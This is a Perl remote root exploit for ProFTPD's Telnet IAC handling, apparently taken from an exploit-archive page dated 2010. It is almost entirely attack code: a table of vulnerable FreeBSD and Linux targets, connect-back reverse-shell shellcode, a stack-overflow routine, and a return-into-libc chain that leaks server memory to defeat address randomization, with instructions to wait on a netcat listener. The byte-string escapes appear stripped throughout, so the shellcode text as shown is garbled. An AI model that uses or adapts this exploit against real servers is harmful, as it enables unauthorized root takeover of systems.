[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : ProFTPD IAC Remote Root Exploit
# Published : 2010-11-07
# Author : Kingcope
# Previous Title : Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit
# Next Title : Femitter FTP Server 1.04 Directory Traversal Vulnerability
# Exploit Title: ProFTPD IAC Remote Root Exploit
# Date: 7 November 2010
# Author: Kingcope
use IO::Socket;
$numtargets = 13;
@targets =
(
# Plain Stack Smashing
#Confirmed to work
["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
"FreeBSD", # OPERATING SYSTEM
0, # EXPLOIT STYLE
0xbfbfe000, # OFFSET START
0xbfbfff00, # OFFSET END
1029], # ALIGN
#Confirmed to work
["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
"FreeBSD",
0,
0xbfbfe000,
0xbfbfff00,
1021],
# Return into Libc
#Confirmed to work
["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1, # EXPLOIT STYLE
0x0804CCD4, # write(2) offset
8189, # ALIGN
0], # PADDING
# Confirmed to work
["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
"Linux",
1,
0x0804D23C,
4101,
0],
#Confirmed to work
["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804C9A4,
8189,
0],
#Confirmed to work
["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
"Linux",
1,
0x080532D8,
4101,
12],
["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804C9C4,
8189,
0],
["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CAA8,
8189,
0],
["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CBBC,
8189,
0],
["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CCBC,
8189,
0],
#Confirmed to work
["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CCE0,
8189,
0],
["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804CA2C,
8189,
0],
#Confirmed to work
["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
"Linux",
1,
0x0804C290,
8189,
0],
# feel free to add more targets.
);
#freebsd reverse shell port 45295
#setup a netcat on this port ^^
$bsdcbsc =
# setreuid
"x31xc0x31xc0x50x31xc0x50xb0x7ex50xcdx80".
# connect back :>
"x31xc0x31xdbx53xb3x06x53".
"xb3x01x53xb3x02x53x54xb0".
"x61xcdx80x31xd2x52x52x68".
"x41x41x41x41x66x68xb0xef".
"xb7x02x66x53x89xe1xb2x10".
"x52x51x50x52x89xc2x31xc0".
"xb0x62xcdx80x31xdbx39xc3".
"x74x06x31xc0xb0x01xcdx80".
"x31xc0x50x52x50xb0x5axcd".
"x80x31xc0x31xdbx43x53x52".
"x50xb0x5axcdx80x31xc0x43".
"x53x52x50xb0x5axcdx80x31".
"xc0x50x68x2fx2fx73x68x68".
"x2fx62x69x6ex89xe3x50x54".
"x53x50xb0x3bxcdx80x31xc0".
"xb0x01xcdx80";
#linux reverse shell port 45295 by bighawk
#setup a netcat on this port ^^
$lnxcbsc =
# setreuid
"x31xc0x31xdbx31xc9xb0x46xcdx80x90x90x90".
# connect back :>
"x6ax66".
"x58".
"x6ax01".
"x5b".
"x31xc9".
"x51".
"x6ax01".
"x6ax02".
"x89xe1".
"xcdx80".
"x68x7fx7fx7fx7f". # IP
"x66x68xb0xef". # PORT
"x66x6ax02".
"x89xe1".
"x6ax10".
"x51".
"x50".
"x89xe1".
"x89xc6".
"x6ax03".
"x5b".
"x6ax66".
"x58".
"xcdx80".
"x87xf3".
"x6ax02".
"x59".
"xb0x3f".
"xcdx80".
"x49".
"x79xf9".
"xb0x0b".
"x31xd2".
"x52".
"x68x2fx2fx73x68".
"x68x2fx62x69x6e".
"x89xe3".
"x52".
"x53".
"x89xe1".
"xcdx80";
sub exploit1 {
for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
printf("[$target] CURRENT OFFSET = %08x :pPn", $counter);
$ret = pack("V", $counter);
$align = $targets[$ttype][5];
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$stack = "KCOPERULEZKCOPERULEZKC" . $ret . "x90" x 500 . $shellcode . "A" x 10;
$v = <$sock>;
print $sock "x00" x $align . "xff" . $stack . "n";
close($sock);
}
}
# Linux technique to retrieve a rootshell (C) kingcope 2010
#
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
# only the write(2) plt entry offset is needed for the exploit to work (and of course the
# align value)
# once the correct write value is given to the exploit it fetches the memory space of proftpd.
# with this information the exploit can find function entries and byte values
# relative to the write(2) address.
# once the memory is read out the exploit does the following to circumvent linux adress space
# randomization:
#
# 1.) calculate mmap64() plt entry
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
# such as pop pop ret instructions
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
# 4.) copy known assembly instructions (which have been found before using the memory read)
# to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
# and make use of the memcpy found before
# 5.) actually jump to the shellcode finder
# 6.) once the shellcode has been copied to 0x10000100 jump to it
# 7.) shellcode gets executed and we have our desired root shell.
sub exploit2 {
printf("[$target] %s :pPn", $targets[$ttype][0]);
$align = $targets[$ttype][4];
$write_offset = $targets[$ttype][3];
$padding = $targets[$ttype][5];
$|=1;
print "align = $alignn";
print "Seeking for write(2)..n";
#known good write(2) values
#0x0804C290
#0x0804A85C
#0x0804A234
#0x08052830
#080532D8 proftpd-basic_1.3.3a-4_i386
#08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)
#0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!
printf "Using write offset %08x.n", $write_offset;
$k = $write_offset;
$sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$sock->sockopt(SO_LINGER, pack("ii", 1, 0));
#$x = <stdin>;
$stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding .
pack("V", $k). # write
"xccxccxccxcc".
"x01x00x00x00". # fd for write
pack("V", $k). # buffer for write
"xffxffx00x00"; # length for write
$v = <$sock>;
print $sock "x00" x $align . "xff" . $stack . "n";
vec ($rfd, fileno($sock), 1) = 1;
$timeout = 2;
if (select ($rfd, undef, undef, $timeout) >= 0
&& vec($rfd, fileno($sock), 1))
{
if (read($sock, $buff, 0xffff) == 0xffff) {
printf "nSUCCESS. write(2) is at %08xn", $k;
close($sock);
goto lbl1;
}
}
close($sock);
printf "wrong write(2) offset.n";
exit;
lbl1:
# Once we're here chances are good that we get the root shell
print "Reading memory from server...n";
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .
pack("V", $k). # write
"xccxccxccxcc".
"x01x00x00x00". # fd for write
pack("V", $k). # buffer for write
"xffxffx0fx00"; # length for write
$v = <$sock>;
print $sock "x00" x $align . "xff" . $stack . "n";
read($sock, $buff, 0xfffff);
if (($v = index $buff, "x5Ex5Fx5D") >= 0) {
$pop3ret = $k + $v;
printf "pop pop pop ret located at %08xn", $pop3ret;
} else {
print "Could not find pop pop pop retn";
exit;
}
if (($v = index $buff, "x83xC4x20x5Bx5Ex5DxC3") >= 0) {
$largepopret = $k + $v;
printf "large pop ret located at %08xn", $largepopret;
} else {
print "Could not find pop pop pop retn";
exit;
}
if (($v = index $buff, "xC7x44x24x08x03x00x00x00xC7x04x24x00x00x00x00x89x44x24x04") >= 0) {
$addr1 = $k+$v+23;
$mmap64 = unpack("I", substr($buff, $v+20, 4));
$mmap64 = $addr1 - (0xffffffff-$mmap64);
printf "mmap64 is located at %08xn", $mmap64;
} else {
if (($v = index $buff, "x89x44x24x10xA1xBCxA5x0Fx08x89x44x24x04xe8") >= 0) {
$addr1 = $k+$v+17;
$mmap64 = unpack("I", substr($buff, $v+14, 4));
$mmap64 = $addr1 - (0xffffffff-$mmap64);
printf "mmap64 is located at %08xn", $mmap64;
} else {
print "Could not find mmap64()n";
exit;
}
}
if (($v = index $buff, "x8Dx45xF4x89x04x24x89x54x24x08x8Bx55x08x89x54x24x04xE8") >= 0) {
$addr1 = $k+$v+21;
$memcpy = unpack("I", substr($buff, $v+18, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08xn", $memcpy;
} else {
if (($v = index $buff, "x8Bx56x10x89x44x24x08x89x54x24x04x8Bx45xE4x89x04x24xe8") >= 0) {
$addr1 = $k+$v+21;
$memcpy = unpack("I", substr($buff, $v+18, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08xn", $memcpy;
} else {
if (($v = index $buff, "x89x44x24x04xA1xBCx9Fx0Ex08x89x04x24") >= 0) {
$addr1 = $k+$v+16;
$memcpy = unpack("I", substr($buff, $v+13, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08xn", $memcpy;
} else {
if (($v = index $buff, "x89x7Cx24x04x89x1Cx24x89x44x24x08") >= 0) {
$addr1 = $k+$v+15;
$memcpy = unpack("I", substr($buff, $v+12, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08xn", $memcpy;
} else {
if (($v = index $buff, "x8Bx55x10x89x74x24x04x89x04x24x89x54x24x08") >= 0) {
$addr1 = $k+$v+18;
$memcpy = unpack("I", substr($buff, $v+15, 4));
$memcpy = $addr1 - (0xffffffff-$memcpy);
printf "memcpy is located at %08xn", $memcpy;
} else {
print "Could not find memcpy()n";
exit;
}
}
}
}
}
if (($v = index $buff, "xfcx8b") >= 0) {
$byte1 = $k+$v;
printf ("byte1: %08xn", $byte1);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "xf4") >= 0) {
$byte2 = $k+$v;
printf ("byte2: %08xn", $byte2);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "xbf") >= 0) {
$byte3 = $k+$v;
printf ("byte3: %08xn", $byte3);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "x00x01x00") >= 0) {
$byte4 = $k+$v;
printf ("byte4: %08xn", $byte4);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "x10") >= 0) {
$byte5 = $k+$v;
printf ("byte5: %08xn", $byte5);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "xB9x00x02x00x00") >= 0) {
$byte6 = $k+$v;
printf ("byte6: %08xn", $byte6);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "xf3") >= 0) {
$byte7 = $k+$v;
printf ("byte7: %08xn", $byte7);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "xA4") >= 0) {
$byte8 = $k+$v;
printf ("byte8: %08xn", $byte8);
} else {
print "Could not find a special byten";
exit;
}
if (($v = index $buff, "xebxff") >= 0) {
$byte9 = $k+$v;
printf ("byte9: %08xn", $byte9);
} else {
print "Could not find a special byten";
exit;
}
# shellcode copy routine:
#0100740B FC CLD
#0100740C 8BF4 MOV ESI,ESP
#0100740E BF 00010010 MOV EDI,10000100
#01007413 B9 00020000 MOV ECX,200
#01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
# EB FF JMP +0xFF
# FC 8B
# F4 BF
# 00 01 00
# 10
# B9 00 02 00 00
# F3:A4
# EB FF
# El1Te X-Ploit TechNiqUe (C)
print "Building exploit buffern";
$stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding .
pack("V", $mmap64). # mmap64()
pack("V", $largepopret). # add esp, 20h; pop; pop
"x00x00x00x10". # mmap start
"x00x10x00x00". # mmap size
"x07x00x00x00". # mmap prot
"x32x00x00x00". # mmap flags
"xffxffxffxff". # mmap fd
"x00x00x00x00". # mmap offset
"x00x00x00x00". # mmap offset
"x00x00x00x00".
"x00x00x00x00".
"x00x00x00x00".
"x00x00x00x00".
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x00x00x00x10". # destination
pack("V", $byte1). # origin
"x02x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x02x00x00x10". # destination
pack("V", $byte2). # origin
"x01x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x03x00x00x10". # destination
pack("V", $byte3). # origin
"x01x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x04x00x00x10". # destination
pack("V", $byte4). # origin
"x03x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x07x00x00x10". # destination
pack("V", $byte5). # origin
"x01x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x08x00x00x10". # destination
pack("V", $byte6). # origin
"x05x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x0dx00x00x10". # destination
pack("V", $byte7). # origin
"x01x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x0ex00x00x10". # destination
pack("V", $byte8). # origin
"x01x00x00x00". # number of bytes to copy
pack("V", $memcpy). # memcpy()
pack("V", $pop3ret). # pop; pop; pop; retn
"x0fx00x00x10". # destination
pack("V", $byte9). # origin
"x02x00x00x00". # number of bytes to copy
"x00x00x00x10". # JUMP TO 0x10000000 rwxp address
"x90" x 100 . $shellcode . "x90" x 10;
print "Sending exploit buffer!n";
my $sock = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 21,
Proto => 'tcp');
$v = <$sock>;
print $sock "x00" x $align . "xff" . $stack . "n";
print "Check your netcat?n";
while(<$sock>) {
print;
}
}
sub usage() {
print "written by kingcopen";
print "usage:n".
"proremote.pl <target ip/host> <your ip> <target type>nn";
for ($i=0; $i<$numtargets; $i++) {
print "t[".$i."]t". $targets[$i][0]. "rn";
}
exit;
}
if ($#ARGV ne 2) { usage; }
$target = $ARGV[0];
$cbip = $ARGV[1];
$ttype = $ARGV[2];
$platform = $targets[$ttype][1];
$style = $targets[$ttype][2];
($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
if ($platform eq "FreeBSD") {
$shellcode = $bsdcbsc;
substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);
} else {
if ($platform eq "Linux") {
$shellcode = $lnxcbsc;
substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);
} else {
print "typo ?n";
exit;
}}
if ($style eq 0) {
exploit1;
} else {
exploit2;
}
print "done.n";
exit;